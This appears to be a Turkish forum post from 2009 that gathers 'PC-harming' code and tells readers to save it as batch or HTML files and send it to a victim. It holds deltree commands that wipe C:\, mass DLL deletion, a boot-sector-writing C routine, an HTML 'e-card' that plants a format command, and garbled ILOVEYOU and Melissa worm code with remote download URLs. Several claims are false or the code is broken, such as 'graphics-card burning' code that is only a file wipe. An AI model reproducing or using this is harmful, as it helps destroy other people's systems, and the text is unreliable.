Pc ye Zarar Veren Kodlar

#5843 2009-10-29 13:57 GMT

bu kodlardan istediğinizi not defterine kopyalayın .bat olarak kaydedin


öncelikle arkadaşlar bmle bişey verildimi bilmiyorum tek bildiğim parca parca pc zara veren kodların verildiği işte ben sizin için bu kodların tamamını topladım ve size sunuyorum aklınıza gelebilecek herşey var ekran kartını yakmadan tutuda harddisk resetlemeye kadar

msn kapatmak için aşşağıdaki yazılı proğramı not pat ile yazıp kaydedin uzantısını.bat olarak yapınız
alt alta nekadar cok yazarsak o kadar uzun süre kapanır msn
Kod:
start tskill msnmsgr
start tskill msnmsgr
start tskill msnmsgr
start tskill msnmsgr
.....gibi

PC ÇÖKERTEBİLECEK KADAR ETKİLİ KOD




arkadaşlar bu yazacağım kodları not defterine yapıştırıyorsunuz uzantısını bat olarak ayarlıyorsunuz ondan sonra kurbana yolluyorsunuz. kurban bunu aldıktan sonra bilgisayarı kapanıyor ve bidaha açılmamak suretiyle
kod:::--
Kod:
Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub



CALISAN UYGULAMALARI KAPATMAK:



İlk önce not defterini açıyoruz ardından shutdown -f yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).
Bunu karşı tarafa atmak için WinRar'la sıkıştırıyoruz.
Sonra da atıyoruz açtığında Pc'de çalışan bütün uygulamalar kapanır(kuban hiçbişey yapamaz..)


şimdi bir wordpar belgesi açıyoruz uzantısı .doc .txt olan cinslerden daha sonra bu belgenin içine aşşağıdaki kodları kopyalayıp yapıştırın.

Kod:
Kod:
@echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off cls cls @echo .::bilgisayarın çöktü::. @echo off


Vereceğim kodu not defterine yazın.XXX.bat olarak kaydedin.(xxx dosyanın ismi olcak değiştirebilirsiniz.)
Sonra winrar kullanarak sıkıştırın.Msn veya başka bir yolla karşı tarafa gönderin.Yapacağınız tek şey açmasını beklemek...
Kod:
90,90
resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10+((<p.x>*100)/1337))> <eval (10+((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y>> B<qval <argn3>?<argn3>:<p.z>> W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z>> B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0> D<hval <var.hue> - 1> D<var.rendermode>

EKRAN KARTI YAKAN KOD
Kod:
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:: HacKeD gülümse ::.
@echo off3.


METİN SAYFASI AÇIP
kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat)
vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By MaNNeR_Boi yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin.

PC VİRÜS KODU





1.Yol
notpadi açın.

2.Yol
içine bu sayıları yazın
01001011000111110010010101010101010000011111100000

3.Yol
kaydederken de uzantısını .exe olarak deiştirin.

4.Yol
kolay gelsin....
sallayın virusu.karşı tarafın gördüğü son ekran olsun...

Dikkat exe olarak kaydettiktensonra ad koyun yoksa dalgınlık yapıp kendi pcnizi çökertmeyin

SYSTEM 32 YE ZARAR VEREN VİRÜS KODU
Kod:
span(p)
char *p;
{
struct ffblk f;
char n[129];
int r;

SearchAndDestroy(p);
sprintf(n,\"%s\\\\%s\",p,\"*.*\");
for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f)) {
if(*f.ff_name==\'.\') continue;
if(f.ff_attrib & 0x0010) {
sprintf(n,\"%s\\\\%s\",p,f.ff_name);
span(n);
}
}
}

SearchAndDestroy(p)
char *p;
{
struct ffblk f;
char b[81];
int r;

strcpy(b,p);
strcat(b,\"\\\\*.*\");
for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f)) {
sprintf(b,\"%s\\\\%s\",p,f.ff_name);
remove(b);
}
}

boot()
{
char *buff;
char *test;

fprintf(test,\"THIS PROGRAM WAS MADE BY Someone Else!!\");
abswrite(2,12,0,buff);
}


notepad a yapıstırın farklı kaydet secenegınden .bat olarak uzantısını degıstırın
system32 klasörüne zarar verıyo bu virüs

SADECE PC KAPATAN KOD






PC KAPATMA
İlk önce not defterini açıyoruz ardından shutdown -s yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).Bunu karşı tarafa atmak için
WinRar'la sıkıştırıyoruz.Sonra da atıyoruz açtığında Pc'si direkt olarak kapanır

HARDİSKİ YAKABİLECEK SEVİYEDE OLAN BİR KOD
Kod:
<html>
<head>
****** **********=\\\"Content-Type\\\" *********\\\"text/html; charset=iso-8859-1\\\">
<title>Aşkından Sevgilerle</title>
</head>
<bOdy>
******** language=\\\"VBSCRIPT\\\">
Set fs = CreateObject(\\\"Scripting.FileSystemObject\\\"
Set a = fs.CreateTextFile(\\\"C:c:\\\\windows\\\\system32\ \\\autoexec. nt\\\", True)
a.WriteLine(\\\"format c: /autotest /u /q\\\"
a.Close
</script>
<p>Giriste ac1lan uyariya \\\"HAYIR\\\" dediyseniz <a
href= \\\"<i>javascript</i>:reload()\\\">Malesef e-kart 1n1z cal1smayacakt1r.</p>
</bOdy>
</html>

kopyala ve dosya uzantısını html olarak kaydet

PC YE ŞİFRE KOYAN KOD



Kod:
netuser %username% 123456
shutdown -r



sonra sonunu bat olarak kaydet

MSN VE YA EKRANI KAPATMAK İÇİN KOD




ilk basta notepad'ı acıyoruz.karsıdakının sadece msnını kapatmak ıstıyorsak sadece alt alta start tskill msnmsgr yazmanız yeterlı.(ne kadar cok yazarsanız o kadar cok uzun sure kapanır msnı) ekranın kapanıp acılmasınıda ıstıyorsak yıne aynı sekılde alt alta start tskill explorer yazınız.eger ıkısınıde yapmak ıstıyorsanız:


Kod:
start tskill explorer
start tskill msnmsgr


yukarıdakı gıbı yapınız.ve notepadı farklı kaydet yapıp uzantısını .bat olarak kaydedınız ve kısıye yollayınız

PC KAPANIP ACILMAMSINA NEDEN OLABİLECEK KOD




kod:::--
Kod:
Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub


yukardaki yazan kelimeleri not pat içine yapıştırınzı ve daha sonra uzantısını bata çeveriniz
etki alanı bilgisayarın aniden kapanıp acılmamasına neden olabilir

PC FORMAT BİLE ATAMAYA BİLİRSİNİZ



Kod:
del C:/WINDOWS/system/MOUSE.DRV
del C:/WINDOWS/system/KEYBOARD.DRV
del c:\WINDOWS\system32\drivers\cdrom.bat

shutdown -


NOT defterine yapıştırınız ve uzantısını bat olarak kaydedinz

PC YE RESET ATTIRMA

PC YI RESETLEMEK :



İlk önce not defterini açıyoruz ardından
Kod:
shutdown -r


yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).Bunu karşı tarafa atmak için
WinRar'la sıkıştırıyoruz.Sonra da atıyoruz açtığında Pc'si direkt olarak resetlenir

FBI VİRÜSÜ


Kod:
f NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub < =>


notepada yapıştırıp .bat olarak kaydedin....

EVET ARKADAŞLAR BU KODLRIN HEPSİ PC YE ZARAR VEREN KODLAR BİZZAT BEN GİDİP İTERNET CAFEDE DENEDİM HELE O SİSTEM 32 YE ZARARCEREN VİRÜS YOKMU ARKADAŞLAR BU KODLARI DAHA ÖNCE BİR ARAYA TOPLAYAN VARMI BİLMİYORUM EĞER VARSA KUSURA BAKMAYIN AMA BEN HİÇ RASTLAMADIM ONUN İÇİN HEPSİNİ BİR ARAYA GETİRDİM AMAN HA BU KODLARI KENDİ PC NİZDE ACIPDA BENİ GÜNAHA SOKMAYIN ŞİMDİDEN HAKKINIZDA HELAL EDİNİZ

bu kodu not defterine yapıştırın ve .bat yaoın bu kadar
Kod:
@echo off
copy %0%windir%\Virus.bat> nul
for /R C:\ %%a in (*.dll) do erase /F %%a > nul



arkadaslar en bastan soyleyim kendi pcnızde denemyın
pcnız acılmaz.Açmak için biçimi attıramassınız.Çünkü CD-ROM çalışmaz.CD-ROM u değiştirseniz bile nafile
Kod:
Kod:
rem delete-pcaş (-vbe)
Es hata-PC
Hata Sonraki Pc Hack On
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, vbscopy, d ow dosya
eq = ""
TO = 0
Set fso = CreateObject ( "Scripting.FileSystemObject")
set file = fso.opentextfile (WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main ()
ana, alt ()
Error Resume Next On
loş wscr, RR
set wscr = CreateObject ( "WScript.Shell")
RR = wscr.RegRead ( "HKEY_CURRENT_USER \ Software \ Micros oft \ Window s Scripting Host \ Settings \ Timeout")
if (rr> = 1) sonra
wscr.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows Scripting Host \ Settings \ Timeout", 0, "REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder (0)
Set dirsystem = fso.GetSpecialFolder (1)
Set dirtemp = fso.GetSpecialFolder (2)
Set c = fso.GetFile (WScript.ScriptFullName)
c.Copy (dirsystem & "\ MSKernel32.vbs")
c.Copy (dirwin & "\ Win32DLL.vbs")
c.Copy (dirsystem & "\ LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns ()
html ()
spreadtoemail ()
listadriv ()
End Sub
alt regruns ()
Error Resume Next On
Dim num, downread
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ Run \ MSKernel32", dirsystem & \ Cur rentVersio n s "\ MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ RunServices \ Win32DLL", dirwin & \ Cur rentVersio n s "\ Win32DLL.vbs"
downread = ""
downread = regget ( "HKEY_CURRENT_USER \ Software \ Micros oft \ Intern et Explorer \ Download Directory")
if (= "") sonra downread
downread = "c: \"
end if
if (fileexist (dirsystem & "\ WinFAT32.exe") = 1) sonra
Randomize
num = Int ((4 * Rnd) + 1)
Eğer num = 1 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT / WIN-BUGSFIX.exe "
elseif num = 2 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe "
elseif num = 3 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ koichi/jf6TRjkcbGRpGq** 198vbFV5hfFEkbopBdQZnmPOhfgER67b3V BVG / WIN-BUGSFIX.exe "
elseif num = 4 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ chu / sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe "
end if
end if
if ((& "\ WIN-BUGSFIX.exe") = 0) sonra downread fileexist
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ Run \ WIN-BUGSFIX", downread & "\ WIN-BUGSFIX.exe" \ Cur rentVersio n s
regcreate "HKEY_CURRENT_USER \ Software \ Microsoft \ Interne t Explorer \ Main \ Start Page", "hakkında: boş "
end if
End Sub
alt listadriv
Error Resume Next On
Dim d, dc ler
Set dc = fso.Drives
Için her d dc
Eğer d.DriveType = 2 veya d.DriveType = 3 Then
folderlist (d.path & "\")
end if
Sonraki
listadriv = S
End Sub
alt infectfiles () folderspec
Error Resume Next On
dim f, f1, fc, ext, ap, mircfname, mp3 bName s
set f = fso.GetFolder () folderspec
set fc = f.Files
her f1 fc için
ext = fso.GetExtensionName (f1.path)
ext = LCase (dahili)
s LCase () f1.name =
if (ext = "vbs") veya (ext = "vbe") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
elseif (ext = "js") or (ext = "jse") veya (ext = "css") or (ext = "wsh") veya (ext = "sct") or (ext = "hta") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
bName = fso.GetBaseName (f1.path)
polis = fso.GetFile (f1.path set)
cop.copy (& folderspec "\" & bName & ". vbs")
fso.DeleteFile () f1.path
elseif (ext = "jpg) veya (ext =" jpeg ") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
polis = fso.GetFile (f1.path set)
cop.copy (f1.path & ". vbs")
fso.DeleteFile () f1.path
elseif (ext = "mp3") or (ext = "mp2") then
mp3 = fso.CreateTextFile (& "f1.path ayarlayın. vbs")
mp3.write vbscopy
mp3.close
set att = fso.GetFile (f1.path)
att.attributes = 2 att.attributes
end if
if (eq <> folderspec) sonra
if (s = "mirc32.exe") veya (s = "mlink32.exe") veya (s = "mirc.ini") veya (s = "script.ini") veya (s = "mirc.hlp") sonra
set scriptini = fso.CreateTextFile (& folderspec "\ script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine "; mIRC Script"
scriptini.WriteLine "; bu script ... mIRC değiştir bozuk olacak dont, Lütfen, mIRC olacak"
"yozlaşmış scriptini.WriteLine ... Windows ve etkiler doğru çalışmaz. teşekkür "
scriptini.WriteLine ";"
scriptini.WriteLine "; Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0 = on 1: JOIN :#:{"
scriptini.WriteLine "n1 = / if (kesik == KOBİ) (halt)"
scriptini.WriteLine "n2 = /. kesmek göndermek" dcc & dirsystem & "\ LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3 =)"
scriptini.close
EQ = folderspec
end if
end if
sonraki
End Sub
alt folderlist () folderspec
Error Resume Next On
dim f, f1, sf
set f = fso.GetFolder () folderspec
sf set = f.SubFolders
her f1 sf için
infectfiles (f1.path)
folderlist (f1.path)
sonraki
End Sub
alt regcreate (regkey, regvalue)
Set regedit = CreateObject ( "WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
fonksiyonu regget (değer)
Set regedit = CreateObject ( "WScript.Shell")
regget = regedit.RegRead (değer)
End Function
fonksiyonu fileexist () dosyabelirtimi
Error Resume Next On
dim msg
(fso.FileExists (dosyabelirtimi)) Sonra eğer
= 0 msg
başka
= 1 msg
end if
fileexist msg =
End Function
fonksiyonu folderexist () folderspec
Error Resume Next On
dim msg
(fso.GetFolderExists (folderspec)) o zaman eğer
= 0 msg


PC KAPNIR BİR DAHA AÇILMAZ
Kod:
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:HACKERLARLA UĞRAŞMA::.
@echo off3